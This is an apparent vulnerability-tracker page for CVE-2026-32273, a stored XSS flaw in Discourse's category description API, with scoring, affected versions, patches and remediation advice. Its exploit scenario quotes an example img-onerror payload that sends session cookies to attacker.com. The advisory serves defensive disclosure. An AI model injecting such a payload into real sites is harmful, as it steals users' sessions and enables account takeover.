Skip to main content

Discourse EUVDEUVD-2026-17550

| CVE-2026-32273 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-31 GitHub_M
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C reflects a network-accessible vulnerability requiring low attack complexity and user interaction on a browser. The PR:L component indicates that only authenticated users (those with category management roles) can exploit the flaw, limiting the attack surface compared to unauthenticated XSS. The UI:R requirement means successful exploitation depends on social engineering-getting victims to visit the malicious category. However, the CVSS scope (S:C) indicates the impact extends beyond the vulnerable component to the integrity of the entire platform for other users. While the CVSS base score is moderate, the stored nature of this XSS is more severe than reflected in the numeric rating: once injected, the malicious payload persists and affects all users. The presence of vendor-released patches across three version branches indicates swift remediation. Overall risk is elevated for instances with untrusted administrators or compromise of admin credentials, but lower for organizations with strict role-based access controls and rapid patching capabilities. No active exploitation or public POC has been reported, reducing immediate threat pressure.

Exploit ScenarioDerived

A malicious user with category moderator or administrator privileges submits a category description update via the Discourse API containing an injected JavaScript payload such as <img src=x onerror="fetch('http://attacker.com/steal?cookies='+document.cookie)">. The unsanitized payload is stored in the database and rendered when other users visit the category page, causing their browsers to execute the injected script and exfiltrate session cookies or perform actions on their behalf. This requires initial compromise or misconfiguration of role-based access, but no additional user interaction beyond visiting the affected category.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Stored cross-site scripting (XSS) in Discourse category description API endpoints allows authenticated users with category management privileges to inject malicious scripts that execute in the browsers of other users viewing the category. The vulnerability affects Discourse versions 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0-pre-release due to missing input sanitization on category description updates. Vendor-released patches address this in versions 2026.1.3, 2026.2.2, and 2026.3.0; no public exploit code has been identified at time of analysis.

RemediationAI

Upgrade to patched versions immediately: Discourse 2026.1.3 or later for the 2026.1 branch, 2026.2.2 or later for the 2026.2 branch, or 2026.3.0 or later for the 2026.3 branch. The upstream fix is available in commit 05e3da2a670cfd499649128b6c955b552451240b (https://github.com/discourse/discourse/commit/05e3da2a670cfd499649128b6c955b552451240b), which implements proper input sanitization for category description fields in the API. After patching, audit category descriptions in existing instances to identify and remove any previously injected malicious content. As an interim measure, restrict category management permissions to trusted administrators only and monitor API logs for suspicious category description updates.

Affected VersionsENISA

discourse 2026.1.0-latest, < 2026.1.3
discourse 2026.3.0-latest, < 2026.3.0
discourse 2026.2.0-latest, < 2026.2.2

Affected Packages

euvd discourse_2026_1_0_latest fix: 2026.1.3
euvd discourse_2026_2_0_latest fix: 2026.2.2
euvd discourse_2026_3_0_latest fix: 2026.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in Discourse's category management API endpoint that handles category description updates. The root cause is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS vector. When a user with category management permissions submits a category description via the API, the input string is not properly sanitized or HTML-escaped before being stored in the database and subsequently rendered in user interfaces. This allows attackers to embed HTML/JavaScript payloads that persist and execute whenever other users access the affected category. The affected product is the Discourse discussion platform (cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*), which is widely deployed as both open-source self-hosted instances and as a SaaS offering.

Know when Discourse gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
2026.1.3,2026.3.0,2026.2.2
CVE Published
Mar 31, 2026 - 17:39 nvd
MEDIUM 5.4

DescriptionCVE.org

Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-48954 HIGH POC
8.1 Jun 25

Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login fun

CVE-2022-46162 CRITICAL POC
9.8 Nov 30

discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2026-27934 HIGH POC
8.7 Mar 19

Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and

CVE-2024-47773 HIGH POC
8.2 Oct 08

Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem

CVE-2026-26265 HIGH POC
7.5 Feb 26

Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the

CVE-2021-3138 HIGH POC
7.5 Jan 14

In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated

CVE-2026-26077 MEDIUM POC
6.5 Feb 26

Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio

CVE-2023-38706 MEDIUM POC
6.5 Sep 15

Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi

CVE-2024-53991 MEDIUM POC
5.9 Dec 19

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r

CVE-2025-48877 CRITICAL
9.8 Jun 09

Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu

CVE-2023-47121 CRITICAL
9.8 Nov 10

Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2022-39355 CRITICAL
9.8 Oct 26

Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy